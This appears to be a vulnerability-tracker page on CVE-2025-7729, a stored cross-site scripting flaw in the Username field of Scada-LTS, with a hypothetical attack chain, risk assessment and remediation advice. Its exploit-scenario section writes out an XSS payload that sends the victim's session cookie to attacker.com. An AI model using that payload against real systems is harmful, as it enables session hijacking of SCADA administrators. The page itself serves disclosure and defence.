Scada-LTS
CVE-2025-7729
LOW
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAuthenticate to Scada-LTS
-
DeliveryNavigate to user profile creation
-
ExploitInject XSS payload in Username field
-
InstallSubmit profile
-
C2Share/trick admin to view profile
-
ExecuteXSS payload executes in victim browser
-
ImpactSteal session/data
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires: (1) valid authentication to Scada-LTS instance (verified by CVSS PR:L), (2) ability to set or modify a custom Username value during user profile creation or update, (3) a victim user must navigate to or be directed to the usersProfiles.shtm page containing the poisoned profile (verified by CVSS UI:P), (4) victim's browser must execute JavaScript and allow inline script execution (mitigated by CSP if deployed). Exploitation is limited to authenticated users only - unauthenticated remote attackers cannot directly inject payloads. The vulnerability does NOT affect confidentiality, integrity of system data, or availability (CVSS VC:N/VI:L/VA:N), meaning the XSS impact is primarily limited to session hijacking or defacement rather than system compromise. Non-default configurations or air-gapped deployments with no external web access significantly reduce risk. |
| Impact | This vulnerability presents LOW real-world risk despite public exploit availability, driven by multiple restrictive exploitation conditions. The CVSS v4.0 vector (PR:L/UI:P) mandates both authentication and user interaction, significantly limiting the attack surface. The EPSS score of 0.05% (15th percentile) confirms low exploitation probability in the wild, suggesting the vulnerability remains primarily a theoretical concern rather than an active threat. The attack requires: (1) valid Scada-LTS credentials, (2) ability to modify one's own username during profile creation/update, and (3) a victim user who visits the attacker's poisoned profile page. No CISA KEV listing is indicated, and exploitation would likely target internal administrative users rather than external threat actors. Organizations running Scada-LTS in isolated industrial networks with restricted user provisioning face minimal risk; publicly accessible instances or those with permissive account creation policies face moderate risk only with social engineering to trigger victim visits. |
| Exploit ScenarioDerived | An authenticated attacker with user account access creates or updates their profile with a malicious Username value such as '<img src=x onerror="fetch('http://attacker.com/steal?cookie='+document.cookie)">'. When an administrator visits the users management page to view all profiles, the XSS payload executes in the admin's browser, stealing session cookies or performing actions as the administrator. Alternatively, the attacker could craft a username containing event-handler JavaScript that triggers on profile page load, exfiltrating SCADA system information or injecting further malware. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 29, 2026
Stored cross-site scripting (XSS) in Scada-LTS up to version 2.7.8.1 allows authenticated remote attackers to inject malicious scripts via the Username parameter in the usersProfiles.shtm file, with user interaction required to trigger payload execution. The vulnerability has a very low CVSS score (2.0) due to authentication and user interaction requirements, but public exploit code is available and vendor has confirmed remediation in version 2.8.0.
RemediationAI
Upgrade to Scada-LTS version 2.8.0 or later once available from the vendor. Until the patched version is released, apply compensating controls: (1) Implement strict HTML/JavaScript output encoding for all user-supplied input, especially the Username field in usersProfiles.shtm, by modifying the template to escape special characters before rendering; (2) Restrict administrative access to the user profiles page to trusted IP addresses or VPN networks using firewall or web application firewall (WAF) rules; (3) Disable or restrict user self-service profile editing capabilities if business requirements permit, forcing administrators to manage usernames via backend systems only; (4) Implement Content Security Policy (CSP) headers to prevent inline script execution; (5) Apply the principle of least privilege to limit which users can create or modify usernames. Each mitigation trades convenience for security - IP restrictions reduce remote access flexibility, disabling self-service impacts user experience, and CSP may require code refactoring.
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability exists in the usersProfiles.shtm file, a web interface component of Scada-LTS (an industrial SCADA monitoring and control system). The root cause is improper input validation and output encoding of the Username parameter, classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). When user-supplied input from the Username field is reflected in HTTP responses without proper HTML/JavaScript encoding, an attacker with valid credentials can craft a malicious username containing script tags that execute in the victim's browser context when the profile page is viewed.
Know when Scada Lts gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
DescriptionCVE.org
A vulnerability classified as problematic was found in Scada-LTS up to 2.7.8.1. Affected by this vulnerability is an unknown functionality of the file usersProfiles.shtm. The manipulation of the argument Username leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this issue and confirmed that it will be fixed in the upcoming release 2.8.0.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Affected Products (CPE)CVE.org
An issue was discovered in Scada-LTS v2.7.5.2 build 4551883606 and before, allows remote attackers with low-level authen
Privileged remote code execution in ScadaLTS 2.7.8.1 lets any authenticated user - including accounts holding only low-p
Authorization bypass in ScadaLTS 2.8.1-release-candidate build 0 lets any authenticated user invoke restricted DWR metho
Authenticated remote code execution in ScadaLTS 2.8.1-release-candidate build 0 allows any holder of a low-privilege acc
Authenticated blind SQL injection in ScadaLTS 2.8.1-release-candidate build 0 lets any logged-in user with the lowest pr
Reflected cross-site scripting in ScadaLTS 2.7.8.1 enables an unauthenticated remote attacker to execute arbitrary JavaS
A vulnerability was identified in Scada-LTS up to 2.7.8.1. Rated medium severity (CVSS 5.3), this vulnerability is remot
A vulnerability was determined in Scada-LTS up to 2.7.8.1. Rated medium severity (CVSS 5.3), this vulnerability is remot
A vulnerability was determined in Scada-LTS 2.7.8.1. Rated medium severity (CVSS 5.3), this vulnerability is remotely ex
Stored cross-site scripting (XSS) in Scada-LTS up to 2.7.8.1 allows authenticated users to inject malicious scripts via
A vulnerability has been found in Scada-LTS 2.7.8.1. Rated medium severity (CVSS 5.1), this vulnerability is remotely ex
A vulnerability was determined in Scada-LTS up to 2.7.8.1. Rated medium severity (CVSS 5.1), this vulnerability is remot
NVD
CVE.org
EPSS
GitHub
VulDB
Exploit-DB